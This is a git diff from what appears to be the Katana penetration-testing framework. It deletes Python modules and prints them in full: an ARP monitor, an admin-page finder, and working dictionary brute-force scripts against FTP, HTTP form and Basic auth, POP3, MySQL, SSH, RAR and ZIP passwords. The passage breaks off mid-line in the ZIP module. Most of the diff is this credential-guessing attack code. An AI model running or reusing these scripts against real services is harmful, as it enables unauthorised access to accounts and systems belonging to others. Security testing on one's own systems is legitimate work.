a/ktf.update b/ktf.update new file mode 100644 index 0000000..cd2112e --- /dev/null +++ b/ktf.update @@ -0,0 +1,10 @@ +#!/usr/bin/env python +#HEADER####################### +# Katana framework # +# ktf.update File # +# Last Modified: 27/03/2016 # +# Review: 0 # +#######################HEADER# + +from core import updatekatana +updatekatana.update() diff --git a/ktf.update.py b/ktf.update.py deleted file mode 100644 index 7b5286b..0000000 --- a/ktf.update.py +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env python -### Katana Framework Update -### you can redistribute it and/or modify -### it under the terms of the GNU General Public License as published by -### the Free Software Foundation, either version 3 of the License, or -### (at your option) any later version. - -from core import updatekatana -updatekatana.update() diff --git a/scripts/ARPLooking.py b/scripts/ARPLooking.py deleted file mode 100644 index 9707e6c..0000000 --- a/scripts/ARPLooking.py +++ /dev/null @@ -1,88 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : ARPLooking # -# Script by : cl34r # -# Date : 28/02/2015 # -# :-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import *# -from core import Errors # -from core import help # -from core import ping # -import sys -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from datetime import datetime -from time import gmtime, strftime -from subprocess import PIPE, Popen -import re -import curses -import time -# :-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-: # -defautlany="if i believed in god, i'll be his slave." -# :-:-:-:-:-:-:-:-:-:-:-: # - -def run(): - arplook(1) - -def arplook(run): - try: - while True: - if run!=1: - actions=raw_input(d.prompt("net/arplook")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.noptions() - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - pass - elif actions=="run" or actions=="r": - d.run() - cmd=Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) - try: - starting=cmd.stdout.read() - cmd.stdout.close() - except: - error=cmd.stderr.read() - print error - cmd.stdout.close() - print "[+] No network found" - pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))" - if True: - print " "+Alr+" Monitoring ARP's tables" - while(True): - try: - cmd=Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) - try: - look=cmd.stdout.read() - cmd.stdout.close() - except: - error=cmd.stderr.read() - #print error - cmd.stdout.close() - print(" "+Bad+" No network found") - if(str(starting))==(str(look)): - print " "+Alr+" all right, the ARP/s tables have not changed... ", " at: ", datetime.now().strftime('%H:%M:%S') - else: - print " "+War+" ARP Table Changed ", " at: ", datetime.now().strftime('%H:%M:%S') - print " "+War+" Data: ---------------------------------------------" - print " "+look - print " ----------------------------------------------------------" - time.sleep(14) - except: - Errors.Errors(event=sys.exc_info()[0], info=True) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=False) - arplook(0) diff --git a/scripts/AdminFinder.py b/scripts/AdminFinder.py deleted file mode 100644 index 8202ddc..0000000 --- a/scripts/AdminFinder.py +++ /dev/null @@ -1,102 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Module : Admin finder # -# Script by : RedToor # -# Date : 28/02/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import httplib # -import socket # -import time # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost=LOCAL_IP -defaultport=HTTP_PORT -defaultdicc=TABLE_FOLDER_ADMIN -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port,dictionary): - global defaulthost,defaultport,defaultdicc - defaulthost=target - defaultport=port - defaultdicc=dictionary - adminfinder(1) - -def adminfinder(run): - try: - global defaulthost,defaultport,defaultdicc - if run!=1: - actions=raw_input(d.prompt("web/cpfinder")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("table","no","Dictionary",defaultdicc) - d.space() - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:9] == "set table": - defaultdicc=ping.update(defaultport,actions,"table") - d.change("table",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - d.loading_file() - with open(defaultdicc,'r') as dirt: - results="" - resultn="" - for patch in dirt: - patch=patch.replace("\n","") - patch = "/" + patch - connection = httplib.HTTPConnection(defaulthost,defaultport) - connection.request("GET",patch) - response = connection.getresponse() - if response.status == 200 or response.status == 301: - print " "+Suf+" Response "+patch - results="-"+Suf+" "+patch+"\n"+results - resultn=patch+","+resultn - else: - print " "+Alr+" Checking..."+colors[0]+patch - if results != "": - print "\n"+results - ping.savefive("Admin Finder",defaulthost,defaultport,results) - else: - print "\n "+Nrs+" Not Results :(.\n" - - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - adminfinder(0) diff --git a/scripts/BruteForceFTP.py b/scripts/BruteForceFTP.py deleted file mode 100644 index c6ac064..0000000 --- a/scripts/BruteForceFTP.py +++ /dev/null @@ -1,101 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Module : FTP Brute Force # -# Script by : LeSZO ZerO # -# Date : 07/03/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from lib.ftplib.ftplib import FTP -import time # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=FTP_PORT -defaultuser=USERNAME -defaultdicc=DITIONARY_PASSWORDS -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(target,port,username,dictionary): - global defaulthost,defaultport,defaultuser,defaultdicc - defaulthost=target - defaultport=port - defaultuser=username - defaultdicc=dictionary - btftp(1) - -def btftp(run): - try: - global defaulthost,defaultport,defaultuser,defaultdicc - if run!=1: - actions=raw_input(d.prompt("bt/ftp")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("user","yes","Username",defaultuser) - d.descrip("dict_1","yes","Dictionary pass",defaultdicc) - d.space() - btftp(0) - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:10] == "set dict_1": - defaultdicc=ping.update(defaultdicc,actions,"dict_1") - d.change("dict_1",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ftp = FTP(defaulthost) - if True: - try: - d.loading_file() - try: - with open(defaultdicc,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - try: - ftp.login(defaultuser,ps) - if True: - ping.save("BruteForceFTP",defaulthost,defaultport,defaultuser,ps) - d.Success(defaultuser,ps) - return 1 - except: - print " "+Alr+" Checking ("+defaultuser+"="+ps+")" - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - btftp(0) diff --git a/scripts/BruteForceFormBase.py b/scripts/BruteForceFormBase.py deleted file mode 100644 index 2f0dd2a..0000000 --- a/scripts/BruteForceFormBase.py +++ /dev/null @@ -1,136 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Module : Form-based # -# Script by : RedToor # -# Date : 28/02/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import httplib,urllib # -import socket # -import sys # -import time # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=HTTP_PORT -defaultpach="/KatanaLAB/run.php" -defaultuser=USERNAME -defaultdic2=DITIONARY_PASSWORDS -defaultdat1="administrator" -defaultdat2="password" -defaultmeth="POST" -defaultcont="Wrong" -# :-:-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port,patch,para1,valor,para2,dictionary,method,condition): - global defaulthost,defaultport,defaultpach,defaultuser,defaultdic2,defaultdat1,defaultdat2,defaultmeth,defaultcont - defaulthost=target - defaultport=port - defaultpach=patch - defaultuser=valor - defaultdic2=dictionary - defaultdat1=para1 - defaultdat2=para2 - defaultmeth=method - defaultcont=condition - httpformbasebruteforce(1) - -def httpformbasebruteforce(run): - try: - global defaulthost,defaultport,defaultpach,defaultuser,defaultdic2,defaultdat1,defaultdat2,defaultmeth,defaultcont - if run!=1: - actions=raw_input(d.prompt("web/formbt")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("patch","yes","Folder or dir",defaultpach) - d.descrip("para_1","yes","Parameter 1",defaultdat1) - d.descrip("user","yes","Username",defaultuser) - d.descrip("para_2","yes","Parameter 2",defaultdat2) - d.descrip("dict_1","yes","Dictionary pass",defaultdic2) - d.descrip("method","yes","POST or GET",defaultmeth) - d.descrip("condit","yes","[if!=]No Logged",defaultcont) - print "" - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:9] == "set patch": - defaultpach=ping.update(defaultpach,actions,"patch") - d.change("patch",defaultpach) - elif actions[0:10] == "set condit": - defaultcont=ping.update(defaultcont,actions,"condit") - d.change("condit",defaultcont) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:10] == "set dict_1": - defaultdic2=ping.update(defaultdic2,actions,"dict_1") - d.change("dict_1",defaultdic2) - elif actions[0:10] == "set para_1": - defaultdat1=ping.update(defaultdat1,actions,"para_1") - d.change("para_1",defaultdat1) - elif actions[0:10] == "set para_2": - defaultdat2=ping.update(defaultdat2,actions,"para_2") - d.change("para_2",defaultdat2) - elif actions[0:10] == "set method": - defaultmeth=ping.update(defaultmeth,actions,"method") - d.change("method",defaultmeth) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - d.loading_file() - try: - with open(defaultdic2,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - params = urllib.urlencode({defaultdat1: defaultuser, defaultdat2: ps}) - header={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} - conn = httplib.HTTPConnection(defaulthost,defaultport) - conn.request(defaultmeth, defaultpach, params, header) - response = conn.getresponse() - ver_source = response.read() - if ver_source.find(defaultcont) <= 0: - ping.savefour("BruteForceFormBase",defaulthost,defaultport,defaultpach,defaultmeth,defaultdat1,defaultdat2,defaultuser,ps) - print "\n-"+Suf+" Successfully with ["+defaultdat1+"="+defaultuser+"]["+defaultdat2+"="+ps+"]\n" - httpformbasebruteforce(0) - else: - print " "+Alr+" Checking ("+defaultdat1+"="+defaultuser+")("+defaultdat2+"="+ps+")" - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdic2) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - httpformbasebruteforce(0) diff --git a/scripts/BruteForceHTTP.py b/scripts/BruteForceHTTP.py deleted file mode 100644 index 70debe9..0000000 --- a/scripts/BruteForceHTTP.py +++ /dev/null @@ -1,112 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : Brute Force 403 # -# Script by : RedToor # -# Date : 27/02/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import time # -import socket # -import base64 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=HTTP_PORT -defaultpach="/upl/" -defaultuser=USERNAME -defaultdic2=DITIONARY_PASSWORDS -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(target,port,patch,username,ditionary): - global defaulthost,defaultport,defaultpach,defaultuser,defaultdic2 - defaulthost=target - defaultport=port - defaultpach=patch - defaultuser=username - defaultdic2=ditionary - httpbt(1) - -def httpbt(run): - try: - global defaulthost,defaultport,defaultpach,defaultuser,defaultdic2 - if run!=1: - actions=raw_input(d.prompt("web/httpbt")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("patch","yes","Folder or dir",defaultpach) - d.descrip("user","yes","Username",defaultuser) - d.descrip("dict_1","yes","Dictionary pass",defaultdic2) - print "" - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:9] == "set patch": - defaultpach=ping.update(defaultpach,actions,"patch") - d.change("patch",defaultpach) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:10] == "set dict_1": - defaultdic2=ping.update(defaultdic2,actions,"dict_1") - d.change("dict_1",defaultdic2) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - red=socket.socket(socket.AF_INET, socket.SOCK_STREAM) - red.connect((defaulthost, int(defaultport))) - try: - d.loading_file() - try: - with open(defaultdic2,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - red.send("GET "+defaultpach+" HTTP/1.1\r\n") - red.send("HOST: "+defaulthost+"\r\n") - red.send("Authorization:Basic "+base64.b64encode(defaultuser+":"+ps)+"\r\n\r\n") - last=red.recv(1000) - if last.find("401")<=0: - ping.savethree("BruteForceHTTP",defaulthost,defaultport,defaultpach,defaultuser,ps) - d.Success(defaultuser,ps) - red.close - httpbt(0) - else: - print " "+Alr+" Checking (username="+defaultuser+")(password="+ps+")" - red.close - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdic2) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - httpbt(0) \ No newline at end of file diff --git a/scripts/BruteForcePOP3.py b/scripts/BruteForcePOP3.py deleted file mode 100644 index 9243b87..0000000 --- a/scripts/BruteForcePOP3.py +++ /dev/null @@ -1,105 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : Brute Force POP# -# Script by : RedToor # -# Date : 22/05/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import time # -import poplib # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaulthost=LOCAL_IP -defaultport=POP_PORT -defaultaccount=EMAIL -defaultdicc=DITIONARY_PASSWORDS -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(target,port,username,dictionary): - global defaulthost,defaultport,defaultdicc - defaulthost=target - defaultport=port - defaultaccount=username - defaultdicc=dictionary - btpop3(1) - -def btpop3(run): - try: - global defaulthost,defaultport,defaultdicc,defaultaccount - if run!=1: - actions=raw_input(d.prompt("bt/pop3")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("email","yes","Account ",defaultaccount) - d.descrip("dict_1","yes","Dictionary pass",defaultdicc) - print "" - btpop3(0) - elif actions[0:10] == "set target": - defaulthost = actions[11:] - d.change("target",defaulthost) - btpop3(0) - elif actions[0:8] == "set port": - defaultport = actions[9:] - d.change("port",defaultport) - btpop3(0) - elif actions[0:9] == "set email": - defaultaccount = actions[10:] - d.change("email",defaultaccount) - btpop3(0) - elif actions[0:10] == "set dict_1": - defaultdicc = actions[11:] - d.change("dict_1",defaultdicc) - btpop3(0) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - red=poplib.POP3(defaulthost, defaultport) - if True: - try: - d.loading_file() - try: - with open(defaultdicc,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - try: - red.user(defaultaccount) - red.pass_(ps) - if True: - ping.save("BruteForcePOP3",defaultaccount,ps) - d.Success(defaultaccount,ps) - btpop3(0) - except: - print " "+Alr+" Checking ("+defaultaccount+"="+ps+")" - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - btpop3(0) \ No newline at end of file diff --git a/scripts/BruteForceSQL.py b/scripts/BruteForceSQL.py deleted file mode 100644 index e07e3e2..0000000 --- a/scripts/BruteForceSQL.py +++ /dev/null @@ -1,101 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Module : SQL Brute Force # -# Script by : RedToor # -# Date : 16/05/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import MySQLdb # -import socket # -import time # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=SQL_PORT -defaultuser=USERNAME -defaultdicc=DITIONARY_PASSWORDS - -def run(target,port,username,dictionary): - global defaulthost,defaultport,defaultdicc - defaulthost=target - defaultport=port - defaultaccount=username - defaultdicc=dictionary - btsql(1) - -def btsql(run): - try: - global defaulthost,defaultport,defaultuser,defaultdicc - if run!=1: - actions=raw_input(d.prompt("bt/sql")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("user","yes","Username",defaultuser) - d.descrip("dict_1","yes","Dictionary pass",defaultdicc) - d.space() - btsql(0) - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:10] == "set dict_1": - defaultdicc=ping.update(defaultdicc,actions,"dict_1") - d.change("dict_1",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - d.loading_file() - try: - with open(defaultdicc,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - try: - MySQLdb.connect(defaulthost,defaultuser,ps,'') - if True: - ping.save("BruteForceSQL",defaulthost,defaultport,defaultuser,ps) - d.Success(defaultuser,ps) - return 1 - except: - print " "+Alr+" Checking ("+defaultuser+"="+ps+")" - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - btsql(0) diff --git a/scripts/BruteForceSSH.py b/scripts/BruteForceSSH.py deleted file mode 100644 index 7bfb29d..0000000 --- a/scripts/BruteForceSSH.py +++ /dev/null @@ -1,103 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Module : SSH Brute Force # -# Script by : RedToor # -# Date : 07/03/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import time # -import optparse # -from pexpect import pxssh # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaulthost=LOCAL_IP -defaultport=SSH_PORT -defaultuser=USERNAME -defaultdicc=DITIONARY_PASSWORDS - -def run(target,port,username,dictionary): - global defaulthost,defaultport,defaultdicc - defaulthost=target - defaultport=port - defaultaccount=username - defaultdicc=dictionary - btssh(1) - -def btssh(run): - try: - global defaulthost,defaultport,defaultuser,defaultdicc - if run!=1: - actions=raw_input(d.prompt("bt/ssh")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("target","yes","IP or DNS",defaulthost) - d.descrip("port","no","Port of target",defaultport) - d.descrip("user","yes","Username",defaultuser) - d.descrip("dict_1","yes","Dictionary pass",defaultdicc) - d.space() - btssh(0) - elif actions[0:10] == "set target": - defaulthost=defaulthost.replace("http://", "") - defaulthost=ping.update(defaulthost,actions,"target") - d.change("target",defaulthost) - elif actions[0:8] == "set port": - defaultport=ping.update(defaultport,actions,"port") - d.change("port",defaultport) - elif actions[0:8] == "set user": - defaultuser=ping.update(defaultuser,actions,"user") - d.change("user",defaultuser) - elif actions[0:10] == "set dict_1": - defaultdicc=ping.update(defaultdicc,actions,"dict_1") - d.change("dict_1",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - ping.live(defaulthost,defaultport) - if True: - try: - d.loading_file() - try: - with open(defaultdicc,'r') as passs: - for ps in passs: - ps=ps.replace("\n","") - try: - connect = pxssh.pxssh() - connect.login(defaulthost,defaultuser,ps) - if True: - ping.save("BruteForceSSH",defaulthost,defaultport,defaultuser,ps) - d.Success(defaultuser,ps) - return 1 - except: - print " "+Alr+" Checking ("+defaultuser+"="+ps+")" - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - btssh(0) diff --git a/scripts/BruteRAR.py b/scripts/BruteRAR.py deleted file mode 100644 index 96996c8..0000000 --- a/scripts/BruteRAR.py +++ /dev/null @@ -1,89 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : RAR Brute Force # -# Script by : LeSZO ZerO # -# Date : 28/02/2015 # -# Version : 2.0 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -from lib.rarfile.RARfile import * # -import optparse # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaultarch="core/test/test.rar" -defaultdicc=DITIONARY_PASSWORDS -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - - -def run(files,dictionary): - global defaultarch,defaultdicc - defaultarch=files - defaultdicc=dictionary - btrar(1) - -def btrar(run): - try: - global defaultarch,defaultdicc - if run!=1: - actions=raw_input(d.prompt("fle/bruterar")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("file","yes","file with pass",defaultarch) - d.descrip("dict","yes","Dictionary pass",defaultdicc) - print "" - btrar(0) - elif actions[0:8] == "set file": - defaultarch=ping.update(defaultarch,actions,"file") - d.change("file",defaultarch) - elif actions[0:8] == "set dict": - defaultdicc=ping.update(defaultdicc,actions,"dict") - d.change("dict",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - pass - elif actions=="run" or actions=="r": - d.run() - try: - d.loading_file() - Arch = open(defaultdicc,"r") - if True: - leeArchivo = Arch.readlines() - try: - RARarch = RarFile(defaultarch) - if True: - for palabra in leeArchivo: - palabraLlegada = palabra.split("\n") - try: - RARarch.extractall(pwd=str(palabraLlegada[0])) - if True: - ping.savetwo("BruteForceRAR",defaultarch,palabraLlegada[0]) - print "\n-"+Suf+" file Cracked with =",str(palabraLlegada[0])+"\n" - return 1 - except: - print " "+Alr+" Checking with ",str(palabraLlegada[0]) - except: - Errors.Errors(event=sys.exc_info(), info=defaultarch) - except: - Errors.Errors(event=sys.exc_info(), info=defaultdicc) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) - btrar(0) diff --git a/scripts/BruteZIP.py b/scripts/BruteZIP.py deleted file mode 100644 index ac2cafb..0000000 --- a/scripts/BruteZIP.py +++ /dev/null @@ -1,89 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : ZIP Brute Force # -# Script by : LeSZO ZerO # -# Date : 28/02/2015 # -# Version : 2.0 -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import zipfile # -import optparse # -import os # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -defaultarch="core/test/test.zip" -defaultdicc=DITIONARY_PASSWORDS -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - - -def run(files,dictionary): - global defaultarch,defaultdicc - defaultarch=files - defaultdicc=dictionary - btzip(1) - -def btzip(run): - try: - global defaultarch,defaultdicc - if run!=1: - actions=raw_input(d.prompt("fle/zip")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("file","yes","file with pass",defaultarch) - d.descrip("dict","yes","Dictionary pass",defaultdicc) - print "" - btzip(0) - elif actions[0:8] == "set file": - defaultarch=ping.update(defaultarch,actions,"file") - d.change("file",defaultarch) - elif actions[0:8] == "set dict": - defaultdicc=ping.update(defaultdicc,actions,"dict") - d.change("dict",defaultdicc) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - pass - elif actions=="run" or actions=="r": - d.run() - try: - d.loading_file() - Arch = open(defaultdicc,"r") - if True: - leeArchivo = Arch.readlines() - try: - ZIParch = zipfile.ZipFile(defaultarch) - if True: - for palabra in leeArchivo: - palabraLlegada 